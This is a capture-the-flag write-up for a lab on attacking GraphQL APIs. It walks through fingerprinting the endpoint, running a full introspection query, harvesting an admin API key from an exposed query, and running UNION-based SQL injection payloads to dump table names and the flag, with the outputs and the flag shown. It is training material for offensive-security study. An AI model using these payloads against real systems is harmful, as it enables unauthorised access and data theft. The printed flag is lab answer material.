Skills Assessment - Attacking GraphQL
Scenario:
The tech company Recovera Systems has commissioned an external penetration test of its backend GraphQL API after taking its public website offline for maintenance in response to a recent security incident. Although the user-facing portion of the platform is temporarily disabled, the underlying GraphQL API remains fully active. The client wants to ensure that no vulnerabilities in its schema design, query handling, or data-exposure logic contributed to the breach or could enable future compromise once the site is restored. Try to apply the techniques learned in this module to identify and assess any vulnerabilities before the company re-enables the website.
TARGET: 154.57.164.82:31318
Challenge 1
Exploit the vulnerable GraphQL API to obtain the flag.
Discovery
In this challenge we are given a web app that we will test to see if there are any vulnerabilities related to GraphQL. This is the first view once visiting the web app IP:

Just with this first view we notice that this web app makes a graphql query for the type allProducts:

- This confirms that there is a graphql endpoint that may potentially be vulnerable
For my first step I will try to apply what was shown in the Information Disclosure section using the graphw00f tool. Travel to the graphw00f directory and run the following command:
python3 main.py -d -f -t http://154.57.164.61:32087/graphql
Output:
┌──(macc㉿kaliLab)-[~/htb/attacking_graphql/graphw00f]
└─$ python3 main.py -d -f -t http://154.57.164.82:31318
{'User-Agent': 'graphw00f'}
+-------------------+
| graphw00f |
+-------------------+
*** ***
** **
** **
+--------------+ +--------------+
| Node X | | Node Y |
+--------------+ +--------------+
*** ***
** **
** **
+------------+
| Node Z |
+------------+
graphw00f - v1.2.1
The fingerprinting tool for GraphQL
Dolev Farhi <dolev@lethalbit.com>
[*] Checking http://154.57.164.82:31318
[*] Checking http://154.57.164.82:31318/
[*] Checking http://154.57.164.82:31318/api
[*] Checking http://154.57.164.82:31318/graphql
[!] Found GraphQL at http://154.57.164.82:31318/graphql
[*] Attempting to fingerprint...
[*] Discovered GraphQL Engine: (Graphene)
[!] Attack Surface Matrix: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphene.md
[!] Technologies: Python
[!] Homepage: https://graphene-python.org
[*] Completed.
We have identified the endpoint: http://154.57.164.82:31318/graphql. This will make doing queries very easy.
Next we will start doing introspection queries, since that will tell us about how the backend is constructed. I will use a powerful introspection query shown in the Information Disclosure section:
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}

We can display this using GraphQL Voyager:

- This reveals some useful stuff. We have 4 objects (Employee, Product, ApiKey, and Customer), with 2 queries regarding each one.
- The first query queries everything from the object
- The second query just queries what we specify (e.g. username, name, etc…).
I will first try to make a query for the CustomerObject, in this case I will use the first query (allCustomers) to get all the fields from this object:
query {
allCustomers {
id
firstName
lastName
address
}
}

- I got an error saying that we need to provide an api key
We might be lucky since there is exactly an ApiKeyObject object that probably stores an api key that we can use. Lets use the activeApiKeys to look for these api keys within the database:
query {
activeApiKeys {
id
role
key
}
}

- We have found an api key that has the
adminrole
Now lets try to make our original allCustomers query using the above admin api key:
query {
allCustomers(apiKey: "0711a879ed751e63330a78a4b195bbad") {
id
firstName
lastName
address
}
}

- Interesting but not really anything we can use so far
I will instead try the second query available for the customerObject object (customerByName), this is because this query actually takes some arguments that we can later try to use to test SQL injection. I will use the same api key that we retrieved previously. Using "Blair" (the first customer entry) as an example:

I will directly try to test for SQL injection when querying the customer through his lastname and see what happens:
query {
customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "Blair' ") {
id
firstName
lastName
address
}
}
- Remember what we learned in Injection Attacks II
- Here we are breaking the SQL query by only including a single
'(quote sign)

- Perfect! This confirms an SQLi vulnerability within the
lastNameargument
Moving on, we will try to enumerate the tables in the database to see if we find something valuable. I will use the following SQL payload within the vulnerable argument:
' UNION SELECT 1, GROUP_CONCAT(table_name), 'dummy', 'dummy' FROM information_schema.tables WHERE table_schema=DATABASE() --
The query will then look like:
query {
customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "' UNION SELECT 1, GROUP_CONCAT(table_name), 'dummy', 'dummy' FROM information_schema.tables WHERE table_schema=DATABASE() -- ") {
id
firstName
lastName
address
}
}

- It reflects the results of our SQL query under the
firstNamefield! - We can already see a
flagtable!
Now that we have found that a flag table exists, all we have to do is to query for the contents of that table. The SQL payload will look something like:
' UNION SELECT 1, flag, 'dummy', 'dummy' FROM flag --
- Remember the leading space at the end is actually necessary
The final query will look like:
query {
customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "' UNION SELECT 1, flag, 'dummy', 'dummy' FROM flag -- ") {
id
firstName
lastName
address
}
}

Output:
{
"data": {
"customerByName": {
"id": "Q3VzdG9tZXJPYmplY3Q6MQ==",
"firstName": "HTB{f1d663c11e6db634e1c9403d0e8e3a35}",
"lastName": "dummy",
"address": "dummy"
}
}
}
flag: HTB